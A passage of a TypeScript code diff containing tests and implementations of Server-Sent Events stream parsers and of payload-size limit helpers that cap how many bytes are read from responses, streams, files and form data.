const chunk2 = encoder.encode('nk":"hello"}\n\n')
const stream = createStreamFromChunks([chunk1, chunk2])
const result = await readSSEStream(stream)
expect(result).toBe('hello')
})
it.concurrent('should handle multiple complete messages in one chunk', async () => {
const encoder = new TextEncoder()
const multiMessage = 'data: {"chunk":"A"}\n\ndata: {"chunk":"B"}\n\ndata: {"chunk":"C"}\n\n'
const chunk = encoder.encode(multiMessage)
const stream = createStreamFromChunks([chunk])
const result = await readSSEStream(stream)
expect(result).toBe('ABC')
})
it.concurrent('should handle message that ends exactly at chunk boundary', async () => {
const chunks = [createSSEChunk({ chunk: 'First' }), createSSEChunk({ chunk: 'Second' })]
const stream = createStreamFromChunks(chunks)
const result = await readSSEStream(stream)
expect(result).toBe('FirstSecond')
})
})
})
function streamFromStringChunks(chunks: string[]): ReadableStream<Uint8Array> {
const encoder = new TextEncoder()
return createStreamFromChunks(chunks.map((c) => encoder.encode(c)))
}
describe('readSSEEvents', () => {
it('parses `\\n\\n`-framed events', async () => {
const stream = streamFromStringChunks([
'data: {"n":1}\n\n',
'data: {"n":2}\n\n',
'data: {"n":3}\n\n',
])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([1, 2, 3])
})
it('parses `\\n`-framed events', async () => {
const stream = streamFromStringChunks(['data: {"n":1}\ndata: {"n":2}\ndata: {"n":3}\n'])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([1, 2, 3])
})
it('reassembles events split across chunk boundaries', async () => {
const stream = streamFromStringChunks(['data: {"ms', 'g":"hel', 'lo"}\n\n'])
const events: Array<{ msg: string }> = []
await readSSEEvents<{ msg: string }>(stream, {
onEvent: (e) => {
events.push(e)
},
})
expect(events).toEqual([{ msg: 'hello' }])
})
it('emits a final data: line that has no trailing newline (stream tail)', async () => {
const stream = streamFromStringChunks(['data: {"n":1}\n', 'data: {"n":2}'])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([1, 2])
})
it('flushes a multi-byte character in the final unterminated line', async () => {
const encoder = new TextEncoder()
const euro = encoder.encode('€')
const chunk1 = new Uint8Array([...encoder.encode('data: {"s":"'), euro[0], euro[1]])
const chunk2 = new Uint8Array([euro[2], ...encoder.encode('"}')])
const stream = createStreamFromChunks([chunk1, chunk2])
const events: Array<{ s: string }> = []
await readSSEEvents<{ s: string }>(stream, {
onEvent: (e) => {
events.push(e)
},
})
expect(events).toEqual([{ s: '€' }])
})
it('skips the [DONE] sentinel', async () => {
const stream = streamFromStringChunks(['data: {"n":1}\n\n', 'data: [DONE]\n\n'])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([1])
})
it('accepts `data:` with and without a leading space', async () => {
const stream = streamFromStringChunks(['data:{"n":1}\n\n', 'data: {"n":2}\n\n'])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([1, 2])
})
it('strips trailing carriage returns (\\r\\n framing)', async () => {
const stream = streamFromStringChunks(['data: {"n":1}\r\n\r\n', 'data: {"n":2}\r\n\r\n'])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([1, 2])
})
it('routes unparseable payloads to onParseError and continues', async () => {
const stream = streamFromStringChunks(['data: not-json\n\n', 'data: {"n":2}\n\n'])
const events: number[] = []
const onParseError = vi.fn()
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
onParseError,
})
expect(events).toEqual([2])
expect(onParseError).toHaveBeenCalledTimes(1)
expect(onParseError).toHaveBeenCalledWith('not-json', expect.any(Error))
})
it('stops early when onEvent returns true', async () => {
const stream = streamFromStringChunks([
'data: {"n":1}\n\n',
'data: {"n":2}\n\n',
'data: {"n":3}\n\n',
])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
return e.n === 2
},
})
expect(events).toEqual([1, 2])
})
it('does not process events once the signal is aborted', async () => {
const controller = new AbortController()
const stream = streamFromStringChunks(['data: {"n":1}\n\n', 'data: {"n":2}\n\n'])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
signal: controller.signal,
onEvent: (e) => {
events.push(e.n)
controller.abort()
},
})
expect(events).toEqual([1])
})
it('returns immediately when the signal is already aborted', async () => {
const controller = new AbortController()
controller.abort()
const stream = streamFromStringChunks(['data: {"n":1}\n\n'])
const onEvent = vi.fn()
await readSSEEvents(stream, { signal: controller.signal, onEvent })
expect(onEvent).not.toHaveBeenCalled()
})
it('releases the reader lock for a stream source', async () => {
const stream = streamFromStringChunks(['data: {"n":1}\n\n'])
await readSSEEvents<{ n: number }>(stream, { onEvent: () => {} })
expect(() => stream.getReader()).not.toThrow()
})
it('does not release the lock for a reader source', async () => {
const stream = streamFromStringChunks(['data: {"n":1}\n\n'])
const reader = stream.getReader()
await readSSEEvents<{ n: number }>(reader, { onEvent: () => {} })
expect(() => stream.getReader()).toThrow()
reader.releaseLock()
})
it('accepts a Response source', async () => {
const response = new Response(streamFromStringChunks(['data: {"n":7}\n\n']))
const events: number[] = []
await readSSEEvents<{ n: number }>(response, {
onEvent: (e) => {
events.push(e.n)
},
})
expect(events).toEqual([7])
})
it('silently skips unparseable payloads when no onParseError is provided', async () => {
const stream = streamFromStringChunks(['data: not-json\n\n', 'data: {"n":2}\n\n'])
const events: number[] = []
await expect(
readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
})
).resolves.toBeUndefined()
expect(events).toEqual([2])
})
it('surfaces a fatal parse error when onParseError throws', async () => {
const stream = streamFromStringChunks(['data: not-json\n\n', 'data: {"n":2}\n\n'])
const events: number[] = []
await expect(
readSSEEvents<{ n: number }>(stream, {
onEvent: (e) => {
events.push(e.n)
},
onParseError: () => {
throw new Error('boom')
},
})
).rejects.toThrow('boom')
expect(events).toEqual([])
})
it('stops early when onEvent resolves true asynchronously', async () => {
const stream = streamFromStringChunks([
'data: {"n":1}\n\n',
'data: {"n":2}\n\n',
'data: {"n":3}\n\n',
])
const events: number[] = []
await readSSEEvents<{ n: number }>(stream, {
onEvent: async (e) => {
events.push(e.n)
return e.n === 2
},
})
expect(events).toEqual([1, 2])
})
it('throws "No response body" for a Response without a body', async () => {
const response = new Response(null)
await expect(readSSEEvents(response, { onEvent: () => {} })).rejects.toThrow('No response body')
})
})
describe('readSSELines', () => {
it('delivers raw (un-parsed) data payloads', async () => {
const stream = streamFromStringChunks(['data: raw-one\n\n', 'data: {"keep":"asString"}\n\n'])
const lines: string[] = []
await readSSELines(stream, {
onData: (raw) => {
lines.push(raw)
},
})
expect(lines).toEqual(['raw-one', '{"keep":"asString"}'])
})
it('skips [DONE] and blank separator lines', async () => {
const stream = streamFromStringChunks(['data: a\n\ndata: b\n\ndata: [DONE]\n\n'])
const lines: string[] = []
await readSSELines(stream, {
onData: (raw) => {
lines.push(raw)
},
})
expect(lines).toEqual(['a', 'b'])
})
it('preserves the raw payload verbatim (no JSON parsing)', async () => {
const stream = streamFromStringChunks(['data: {"unterminated\n\n', 'data:no-space\n\n'])
const lines: string[] = []
await readSSELines(stream, {
onData: (raw) => {
lines.push(raw)
},
})
expect(lines).toEqual(['{"unterminated', 'no-space'])
})
it('strips a trailing carriage return from each line', async () => {
const stream = streamFromStringChunks(['data: one\r\n\r\ndata: two\r\n\r\n'])
const lines: string[] = []
await readSSELines(stream, {
onData: (raw) => {
lines.push(raw)
},
})
expect(lines).toEqual(['one', 'two'])
})
it('stops early when onData returns true', async () => {
const stream = streamFromStringChunks(['data: a\n\ndata: b\n\ndata: c\n\n'])
const lines: string[] = []
await readSSELines(stream, {
onData: (raw) => {
lines.push(raw)
return raw === 'b'
},
})
expect(lines).toEqual(['a', 'b'])
})
it('does not deliver any line when the signal is already aborted', async () => {
const controller = new AbortController()
controller.abort()
const stream = streamFromStringChunks(['data: a\n\n'])
const onData = vi.fn()
await readSSELines(stream, { signal: controller.signal, onData })
expect(onData).not.toHaveBeenCalled()
})
it('stops between events in the same chunk once aborted mid-stream', async () => {
const controller = new AbortController()
const stream = streamFromStringChunks(['data: a\n\ndata: b\n\ndata: c\n\n'])
const lines: string[] = []
await readSSELines(stream, {
signal: controller.signal,
onData: (raw) => {
lines.push(raw)
if (raw === 'a') controller.abort()
},
})
expect(lines).toEqual(['a'])
})
it('releases the lock for a stream source', async () => {
const stream = streamFromStringChunks(['data: a\n\n'])
await readSSELines(stream, { onData: () => {} })
expect(() => stream.getReader()).not.toThrow()
})
it('does not release the lock for a reader source', async () => {
const stream = streamFromStringChunks(['data: a\n\n'])
const reader = stream.getReader()
await readSSELines(reader, { onData: () => {} })
expect(() => stream.getReader()).toThrow()
reader.releaseLock()
})
it('releases the lock for a stream source even when onData throws', async () => {
const stream = streamFromStringChunks(['data: a\n\n'])
await expect(
readSSELines(stream, {
onData: () => {
throw new Error('handler failed')
},
})
).rejects.toThrow('handler failed')
expect(() => stream.getReader()).not.toThrow()
})
})
+271
View File
@@ -0,0 +1,271 @@
/**
* Standard headers for Server-Sent Events responses
*/
export const SSE_HEADERS = {
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache',
Connection: 'keep-alive',
'X-Accel-Buffering': 'no',
} as const
/**
* Encodes data as a Server-Sent Events (SSE) message.
* Formats the data as a JSON string prefixed with "data:" and suffixed with two newlines,
* then encodes it as a Uint8Array for streaming.
*
* @param data - The data to encode and send via SSE
* @returns The encoded SSE message as a Uint8Array
*/
export function encodeSSE(data: any): Uint8Array {
return new TextEncoder().encode(`data: ${JSON.stringify(data)}\n\n`)
}
/**
* The sentinel value servers emit to signal end-of-stream. Lines carrying this
* payload are skipped before reaching the consumer's `onEvent` callback.
*/
const DONE_SENTINEL = '[DONE]'
/**
* A source the SSE reader can consume: a fetch `Response`, its `ReadableStream`
* body, or an already-acquired reader. Passing a `Response`/stream lets the
* primitive own `getReader()` and the reader lifecycle (lock release); passing a
* reader is supported for callers that must acquire it first (e.g. to stash it
* for external cancellation).
*/
export type SSESource =
| Response
| ReadableStream<Uint8Array>
| ReadableStreamDefaultReader<Uint8Array>
/**
* The result of an SSE event/line callback. Only the literal `true` (returned
* synchronously or resolved from a `Promise`) stops processing and returns
* early — useful for terminal events. Any other value (including the
* `undefined` a handler that returns nothing produces) keeps processing.
*
* Typed as `unknown` rather than `boolean | void | Promise<boolean | void>` so
* both sync and `async` handlers — including `async` handlers that return
* nothing (`Promise<void>`) — stay assignable, without the confusing
* `void`-inside-a-`Promise` union that the precise type would require.
*/
export type SSEStopSignal = unknown
/**
* Options for {@link readSSELines} — the low-level line engine that delivers the
* raw `data:` payload string (no JSON parsing).
*/
export interface ReadSSELinesOptions {
/** Invoked once per SSE `data:` line with the raw (un-parsed) payload string. */
onData: (rawData: string) => SSEStopSignal
/** Aborts the read; checked before each chunk and between events. */
signal?: AbortSignal
}
/**
* Options for {@link readSSEEvents} — the JSON convenience layer over
* {@link readSSELines}.
*/
export interface ReadSSEEventsOptions<T> {
/**
* Invoked once per parsed SSE `data:` event with the JSON-parsed payload.
* Return (or resolve) `true` to stop processing and return early. Callers
* narrow the typed payload.
*/
onEvent: (event: T) => SSEStopSignal
/**
* Invoked for a `data:` line whose payload is not valid JSON. Defaults to
* silently skipping the line. Throw from here to surface a fatal parse error.
*/
onParseError?: (rawData: string, error: unknown) => void
/** Aborts the read; checked before each chunk and between events. */
signal?: AbortSignal
}
/**
* Resolves an {@link SSESource} to a reader, reporting whether this call
* acquired the lock (and is therefore responsible for releasing it).
*/
function toReader(source: SSESource): {
reader: ReadableStreamDefaultReader<Uint8Array>
ownsLock: boolean
} {
if (source instanceof ReadableStream) {
return { reader: source.getReader(), ownsLock: true }
}
if (source instanceof Response) {
if (!source.body) throw new Error('No response body')
return { reader: source.body.getReader(), ownsLock: true }
}
return { reader: source, ownsLock: false }
}
/**
* Strips an optional trailing carriage return from a single SSE line, so both
* `\n`- and `\r\n`-terminated framings parse identically.
*/
function stripCarriageReturn(line: string): string {
return line.endsWith('\r') ? line.slice(0, -1) : line
}
/**
* The single client-side SSE decode engine. Reads a byte stream, decodes it
* incrementally, splits it into lines, and invokes `onData` once per `data:`
* line with its raw (un-parsed) payload string.
*
* It splits on `\n` and processes each `data:` line individually, which makes it
* tolerant of BOTH `\n`- and `\n\n`-separated framings (the blank separator
* lines between events are simply ignored). Trailing `\r` is stripped, a single
* optional space after `data:` is consumed, and the `[DONE]` sentinel is
* skipped. The reader's lock is always released on completion, abort, or error
* (only when this function acquired it).
*
* This is the low-level engine. Most callers want {@link readSSEEvents}, which
* adds JSON parsing on top. Reach for `readSSELines` only when the payload needs
* custom parsing (e.g. schema-validated decoding).
*
* @param source - A `Response`, `ReadableStream`, or stream reader.
* @param options - The `onData` callback plus an optional `signal`.
*/
export async function readSSELines(source: SSESource, options: ReadSSELinesOptions): Promise<void> {
const { onData, signal } = options
const { reader, ownsLock } = toReader(source)
const decoder = new TextDecoder()
let buffer = ''
try {
while (true) {
if (signal?.aborted) break
const { done, value } = await reader.read()
buffer += done ? decoder.decode() : decoder.decode(value, { stream: true })
const lines = buffer.split('\n')
buffer = done ? '' : (lines.pop() ?? '')
for (const rawLine of lines) {
if (signal?.aborted) return
const line = stripCarriageReturn(rawLine)
if (!line.startsWith('data:')) continue
let data = line.slice(5)
if (data.startsWith(' ')) data = data.slice(1)
if (data === DONE_SENTINEL) continue
if ((await onData(data)) === true) return
}
if (done) break
}
} finally {
if (ownsLock) reader.releaseLock()
}
}
/**
* The JSON convenience layer over {@link readSSELines}: invokes `onEvent` once
* per `data:` event with its JSON-parsed payload. Unparseable lines are passed
* to `onParseError` (default: silently skipped). All framing, `\r`, `[DONE]`,
* abort, and reader-lifecycle behavior is inherited from `readSSELines`.
*
* Higher-level concerns — UI batching, reconnect, error classification, event
* dispatch — belong in the caller's `onEvent`, not here.
*
* @typeParam T - The parsed event type the caller expects (defaults to `unknown`).
* @param source - A `Response`, `ReadableStream`, or stream reader.
* @param options - The `onEvent` callback plus optional `signal`/`onParseError`.
*/
export async function readSSEEvents<T = unknown>(
source: SSESource,
options: ReadSSEEventsOptions<T>
): Promise<void> {
const { onEvent, onParseError, signal } = options
await readSSELines(source, {
signal,
onData: (data) => {
let parsed: T
try {
parsed = JSON.parse(data) as T
} catch (error) {
onParseError?.(data, error)
return
}
return onEvent(parsed)
},
})
}
/**
* Options for reading SSE stream
*/
export interface ReadSSEStreamOptions {
onChunk?: (chunk: string) => void
onAccumulated?: (accumulated: string) => void
signal?: AbortSignal
}
/**
* Reads and parses an SSE stream from a Response body.
* Handles the wand API SSE format with data chunks and done signals.
*
* @param body - The ReadableStream body from a fetch Response
* @param options - Callbacks for handling stream data
* @returns The accumulated content from the stream
*/
export async function readSSEStream(
body: ReadableStream<Uint8Array>,
options: ReadSSEStreamOptions = {}
): Promise<string> {
const { onChunk, onAccumulated, signal } = options
const reader = body.getReader()
const decoder = new TextDecoder()
let accumulatedContent = ''
let buffer = ''
try {
while (true) {
if (signal?.aborted) {
break
}
const { done, value } = await reader.read()
if (done) {
const remaining = decoder.decode()
if (remaining) {
buffer += remaining
}
break
}
buffer += decoder.decode(value, { stream: true })
const lines = buffer.split('\n\n')
buffer = lines.pop() || ''
for (const line of lines) {
if (line.startsWith('data: ')) {
const lineData = line.substring(6)
if (lineData === '[DONE]') continue
try {
const data = JSON.parse(lineData)
if (data.error) throw new Error(data.error)
if (data.chunk) {
accumulatedContent += data.chunk
onChunk?.(data.chunk)
onAccumulated?.(accumulatedContent)
}
if (data.done) break
} catch {
// Skip unparseable lines
}
}
}
}
} finally {
reader.releaseLock()
}
return accumulatedContent
}
@@ -0,0 +1,232 @@
/**
* @vitest-environment node
*/
import { Readable } from 'stream'
import { describe, expect, it, vi } from 'vitest'
import {
assertContentLengthWithinLimit,
PayloadSizeLimitError,
readFileToBufferWithLimit,
readFormDataWithLimit,
readNodeStreamToBufferWithLimit,
readResponseJsonWithLimit,
readResponseTextWithLimit,
readResponseToBufferWithLimit,
readStreamToBufferWithLimit,
} from '@/lib/core/utils/stream-limits'
function streamFromChunks(chunks: Uint8Array[]): ReadableStream<Uint8Array> {
let index = 0
return new ReadableStream({
pull(controller) {
if (index >= chunks.length) {
controller.close()
return
}
controller.enqueue(chunks[index])
index += 1
},
})
}
function headers(contentLength?: string): Headers {
const headers = new Headers()
if (contentLength !== undefined) headers.set('content-length', contentLength)
return headers
}
describe('stream limits', () => {
it('reads a stream under the limit', async () => {
const buffer = await readStreamToBufferWithLimit(
streamFromChunks([new TextEncoder().encode('hello'), new TextEncoder().encode(' world')]),
{ maxBytes: 32, label: 'test payload' }
)
expect(buffer.toString('utf-8')).toBe('hello world')
})
it('rejects when content-length is over the limit', () => {
expect(() => assertContentLengthWithinLimit(headers('11'), 10, 'download')).toThrow(
PayloadSizeLimitError
)
})
it('cancels response bodies when content-length preflight rejects', async () => {
const cancelSpy = vi.fn()
const body = new ReadableStream<Uint8Array>({
cancel: cancelSpy,
})
await expect(
readResponseToBufferWithLimit(
{
headers: headers('11'),
body,
},
{ maxBytes: 10, label: 'download' }
)
).rejects.toBeInstanceOf(PayloadSizeLimitError)
expect(cancelSpy).toHaveBeenCalled()
})
it('allows content-length exactly at the limit', () => {
expect(() => assertContentLengthWithinLimit(headers('10'), 10, 'download')).not.toThrow()
})
it('rejects when streamed bytes exceed the limit', async () => {
await expect(
readStreamToBufferWithLimit(streamFromChunks([new Uint8Array(6), new Uint8Array(5)]), {
maxBytes: 10,
label: 'download',
})
).rejects.toMatchObject({
name: 'PayloadSizeLimitError',
maxBytes: 10,
observedBytes: 11,
})
})
it('rejects underreported content-length via streamed byte counting', async () => {
await expect(
readResponseToBufferWithLimit(
{
headers: headers('5'),
body: streamFromChunks([new Uint8Array(6), new Uint8Array(5)]),
},
{ maxBytes: 10, label: 'download' }
)
).rejects.toBeInstanceOf(PayloadSizeLimitError)
})
it('returns an empty buffer for a missing body', async () => {
const buffer = await readResponseToBufferWithLimit(
{ headers: headers('0'), body: null },
{ maxBytes: 10, label: 'empty response' }
)
expect(buffer.length).toBe(0)
})
it('reads text and JSON responses with limits', async () => {
const text = await readResponseTextWithLimit(
{ body: streamFromChunks([new TextEncoder().encode('hello')]) },
{ maxBytes: 10, label: 'text response' }
)
const json = await readResponseJsonWithLimit<{ ok: boolean }>(
{ body: streamFromChunks([new TextEncoder().encode('{"ok":true}')]) },
{ maxBytes: 20, label: 'json response' }
)
expect(text).toBe('hello')
expect(json.ok).toBe(true)
})
it('prefers arrayBuffer over text for binary response fallbacks', async () => {
const bytes = Uint8Array.from([0, 255, 1, 254])
const arrayBuffer = vi.fn(async () => bytes.buffer)
const text = vi.fn(async () => 'corrupted')
const buffer = await readResponseToBufferWithLimit(
{ headers: headers(String(bytes.byteLength)), arrayBuffer, text },
{ maxBytes: 10, label: 'binary response' }
)
expect(buffer).toEqual(Buffer.from(bytes))
expect(arrayBuffer).toHaveBeenCalled()
expect(text).not.toHaveBeenCalled()
})
it('rejects no-body response fallbacks without a trusted content-length', async () => {
await expect(
readResponseToBufferWithLimit(
{
arrayBuffer: vi.fn(async () => new Uint8Array(1024).buffer),
},
{ maxBytes: 10, label: 'unknown response' }
)
).rejects.toBeInstanceOf(PayloadSizeLimitError)
})
it('cancels when the abort signal is already aborted', async () => {
const controller = new AbortController()
controller.abort(new Error('stop'))
const cancelSpy = vi.fn()
const stream = new ReadableStream<Uint8Array>({
pull(controller) {
controller.enqueue(new TextEncoder().encode('content'))
},
cancel: cancelSpy,
})
await expect(
readStreamToBufferWithLimit(stream, {
maxBytes: 100,
label: 'abortable',
signal: controller.signal,
})
).rejects.toThrow('stop')
expect(cancelSpy).toHaveBeenCalled()
})
it('checks file size before materializing a File', async () => {
const file = new File(['hello'], 'small.txt', { type: 'text/plain' })
const buffer = await readFileToBufferWithLimit(file, { maxBytes: 5, label: 'upload file' })
expect(buffer.toString('utf-8')).toBe('hello')
await expect(
readFileToBufferWithLimit(file, { maxBytes: 4, label: 'upload file' })
).rejects.toBeInstanceOf(PayloadSizeLimitError)
})
it('parses multipart form data without requiring content-length', async () => {
const input = new FormData()
input.append('name', 'example')
const request = new Request('http://localhost/upload', {
method: 'POST',
body: input,
})
expect(request.headers.get('content-length')).toBeNull()
const formData = await readFormDataWithLimit(request, {
maxBytes: 1024 * 1024,
label: 'multipart body',
})
expect(formData.get('name')).toBe('example')
})
it('rejects multipart streams without content-length once bytes exceed the limit', async () => {
const request = new Request('http://localhost/upload', {
method: 'POST',
headers: { 'content-type': 'multipart/form-data; boundary=test' },
body: streamFromChunks([new Uint8Array(6), new Uint8Array(5)]),
duplex: 'half',
} as RequestInit)
await expect(
readFormDataWithLimit(request, { maxBytes: 10, label: 'multipart body' })
).rejects.toBeInstanceOf(PayloadSizeLimitError)
})
it('rechecks materialized file bytes after arrayBuffer', async () => {
const file = {
size: 1,
arrayBuffer: vi.fn(async () => new Uint8Array(6).buffer),
} as unknown as File
await expect(
readFileToBufferWithLimit(file, { maxBytes: 5, label: 'upload file' })
).rejects.toBeInstanceOf(PayloadSizeLimitError)
})
it('rejects node streams that exceed the limit', async () => {
await expect(
readNodeStreamToBufferWithLimit(Readable.from([Buffer.alloc(6), Buffer.alloc(5)]), {
maxBytes: 10,
label: 'storage download',
})
).rejects.toBeInstanceOf(PayloadSizeLimitError)
})
})
+341
View File
@@ -0,0 +1,341 @@
import { toError } from '@sim/utils/errors'
export const DEFAULT_MAX_ERROR_BODY_BYTES = 64 * 1024
/**
* Slack for multipart boundary/header overhead on top of the intended file
* size limit, so legitimate uploads near the limit aren't rejected purely
* for encoding overhead.
*/
export const MAX_MULTIPART_OVERHEAD_BYTES = 1024 * 1024
export interface PayloadSizeLimitContext {
label: string
maxBytes: number
observedBytes?: number
}
export class PayloadSizeLimitError extends Error {
readonly label: string
readonly maxBytes: number
readonly observedBytes?: number
constructor({ label, maxBytes, observedBytes }: PayloadSizeLimitContext) {
super(
observedBytes === undefined
? `${label} exceeds maximum size of ${maxBytes} bytes`
: `${label} exceeds maximum size of ${maxBytes} bytes (${observedBytes} bytes received)`
)
this.name = 'PayloadSizeLimitError'
this.label = label
this.maxBytes = maxBytes
this.observedBytes = observedBytes
}
}
export function isPayloadSizeLimitError(error: unknown): error is PayloadSizeLimitError {
return error instanceof PayloadSizeLimitError
}
export function assertKnownSizeWithinLimit(size: number, maxBytes: number, label: string): void {
if (Number.isFinite(size) && size > maxBytes) {
throw new PayloadSizeLimitError({ label, maxBytes, observedBytes: size })
}
}
function getContentLength(
headers: { get(name: string): string | null } | undefined
): number | null {
const rawLength = headers?.get('content-length')
if (!rawLength) return null
const parsed = Number.parseInt(rawLength, 10)
return Number.isFinite(parsed) && parsed >= 0 ? parsed : null
}
export function assertContentLengthWithinLimit(
headers: { get(name: string): string | null } | undefined,
maxBytes: number,
label: string
): void {
const contentLength = getContentLength(headers)
if (contentLength !== null) {
assertKnownSizeWithinLimit(contentLength, maxBytes, label)
}
}
export interface ReadFormDataWithLimitRequest {
url: string
method: string
headers?: Headers
body?: ReadableStream<Uint8Array> | null
formData: () => Promise<FormData>
}
export async function readFormDataWithLimit(
request: ReadFormDataWithLimitRequest,
options: { maxBytes: number; label: string }
): Promise<FormData> {
assertContentLengthWithinLimit(request.headers, options.maxBytes, options.label)
if (request.headers?.get('content-length') || !request.body) {
return request.formData()
}
const body = await readStreamToBufferWithLimit(request.body, options)
const boundedRequest = new Request(request.url, {
method: request.method,
headers: request.headers,
body: new Uint8Array(body),
})
return boundedRequest.formData()
}
export interface ReadStreamWithLimitOptions {
maxBytes: number
label: string
signal?: AbortSignal
onChunk?: (chunk: Uint8Array, totalBytes: number) => void | Promise<void>
}
export async function readStreamToBufferWithLimit(
stream: ReadableStream<Uint8Array> | null | undefined,
options: ReadStreamWithLimitOptions
): Promise<Buffer> {
if (!stream) return Buffer.alloc(0)
const reader = stream.getReader()
const chunks: Buffer[] = []
let totalBytes = 0
const abortFromSignal = () => {
void reader.cancel(options.signal?.reason).catch(() => {})
}
try {
if (options.signal?.aborted) {
await reader.cancel(options.signal.reason).catch(() => {})
throw toError(options.signal.reason ?? new Error('Aborted'))
}
options.signal?.addEventListener('abort', abortFromSignal, { once: true })
while (true) {
if (options.signal?.aborted) {
await reader.cancel(options.signal.reason).catch(() => {})
throw toError(options.signal.reason ?? new Error('Aborted'))
}
const { done, value } = await reader.read()
if (options.signal?.aborted) {
throw toError(options.signal.reason ?? new Error('Aborted'))
}
if (done) break
if (!value) continue
totalBytes += value.byteLength
if (totalBytes > options.maxBytes) {
await reader.cancel().catch(() => {})
throw new PayloadSizeLimitError({
label: options.label,
maxBytes: options.maxBytes,
observedBytes: totalBytes,
})
}
await options.onChunk?.(value, totalBytes)
chunks.push(Buffer.from(value))
}
} finally {
options.signal?.removeEventListener('abort', abortFromSignal)
reader.releaseLock()
}
return Buffer.concat(chunks, totalBytes)
}
export async function readNodeStreamToBufferWithLimit(
stream: NodeJS.ReadableStream | null | undefined,
options: ReadStreamWithLimitOptions
): Promise<Buffer> {
if (!stream) return Buffer.alloc(0)
return new Promise((resolve, reject) => {
const chunks: Buffer[] = []
let totalBytes = 0
let settled = false
const finish = (callback: () => void) => {
if (settled) return
settled = true
cleanup()
callback()
}
const cleanup = () => {
stream.off('data', onData)
stream.off('end', onEnd)
stream.off('error', onError)
options.signal?.removeEventListener('abort', onAbort)
}
const onAbort = () => {
if ('destroy' in stream && typeof stream.destroy === 'function') {
stream.destroy(toError(options.signal?.reason ?? new Error('Aborted')))
}
finish(() => reject(toError(options.signal?.reason ?? new Error('Aborted'))))
}
const onData = (chunk: Buffer | Uint8Array | string) => {
const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
totalBytes += buffer.byteLength
if (totalBytes > options.maxBytes) {
if ('destroy' in stream && typeof stream.destroy === 'function') {
stream.destroy()
}
finish(() =>
reject(
new PayloadSizeLimitError({
label: options.label,
maxBytes: options.maxBytes,
observedBytes: totalBytes,
})
)
)
return
}
void options.onChunk?.(buffer, totalBytes)
chunks.push(buffer)
}
const onEnd = () => {
finish(() => resolve(Buffer.concat(chunks, totalBytes)))
}
const onError = (error: unknown) => {
finish(() => reject(error))
}
if (options.signal?.aborted) {
onAbort()
return
}
options.signal?.addEventListener('abort', onAbort, { once: true })
stream.on('data', onData)
stream.on('end', onEnd)
stream.on('error', onError)
})
}
export interface ReadResponseWithLimitOptions extends ReadStreamWithLimitOptions {
headers?: { get(name: string): string | null }
preferTextFallback?: boolean
allowNoBodyFallback?: boolean
}
export async function readResponseToBufferWithLimit(
response: {
headers?: { get(name: string): string | null }
body?: ReadableStream<Uint8Array> | null
arrayBuffer?: () => Promise<ArrayBuffer>
text?: () => Promise<string>
},
options: ReadResponseWithLimitOptions
): Promise<Buffer> {
const contentLength = getContentLength(response.headers ?? options.headers)
try {
if (contentLength !== null) {
assertKnownSizeWithinLimit(contentLength, options.maxBytes, options.label)
}
} catch (error) {
if (isPayloadSizeLimitError(error)) {
await response.body?.cancel(error).catch(() => {})
}
throw error
}
if (
!options.allowNoBodyFallback &&
!response.body &&
contentLength === null &&
(response.arrayBuffer || response.text)
) {
throw new PayloadSizeLimitError({
label: options.label,
maxBytes: options.maxBytes,
})
}
if (!response.body && options.preferTextFallback && response.text) {
const text = await response.text()
const buffer = Buffer.from(text)
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
return buffer
}
if (!response.body && response.arrayBuffer) {
const buffer = Buffer.from(await response.arrayBuffer())
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
if (buffer.byteLength > 0 || !response.text) {
return buffer
}
const text = await response.text()
const textBuffer = Buffer.from(text)
assertKnownSizeWithinLimit(textBuffer.byteLength, options.maxBytes, options.label)
return textBuffer
}
if (!response.body && response.text) {
const text = await response.text()
const buffer = Buffer.from(text)
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
return buffer
}
return readStreamToBufferWithLimit(response.body, options)
}
export async function readResponseTextWithLimit(
response: {
headers?: { get(name: string): string | null }
body?: ReadableStream<Uint8Array> | null
arrayBuffer?: () => Promise<ArrayBuffer>
text?: () => Promise<string>
},
options: ReadResponseWithLimitOptions
): Promise<string> {
return (
await readResponseToBufferWithLimit(response, { ...options, preferTextFallback: true })
).toString('utf-8')
}
export async function readResponseJsonWithLimit<T = unknown>(
response: {
headers?: { get(name: string): string | null }
body?: ReadableStream<Uint8Array> | null
},
options: ReadResponseWithLimitOptions
): Promise<T> {
return JSON.parse(await readResponseTextWithLimit(response, options)) as T
}
export async function readFileToBufferWithLimit(
file: File,
options: { maxBytes: number; label: string }
): Promise<Buffer> {
assertKnownSizeWithinLimit(file.size, options.maxBytes, options.label)
const buffer = Buffer.from(await file.arrayBuffer())
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
return buffer
}
export async function consumeOrCancelBody(
response: { body?: ReadableStream<Uint8Array> | null },
maxBytes = DEFAULT_MAX_ERROR_BODY_BYTES
): Promise<void> {
if (!response.body) return
try {
await readStreamToBufferWithLimit(response.body, {
maxBytes,
label: 'response body',
})
} catch {
await response.body.cancel().catch(() => {})
}
}
+43
View File
@@ -0,0 +1,43 @@
/**
* Theme synchronization utilities for managing theme across next-themes and database
*/
/**
* Updates the theme in next-themes by dispatching a storage event.
* This works by updating localStorage and notifying next-themes of the change.
* @param theme - The desired theme ('system', 'light', or 'dark')
*/
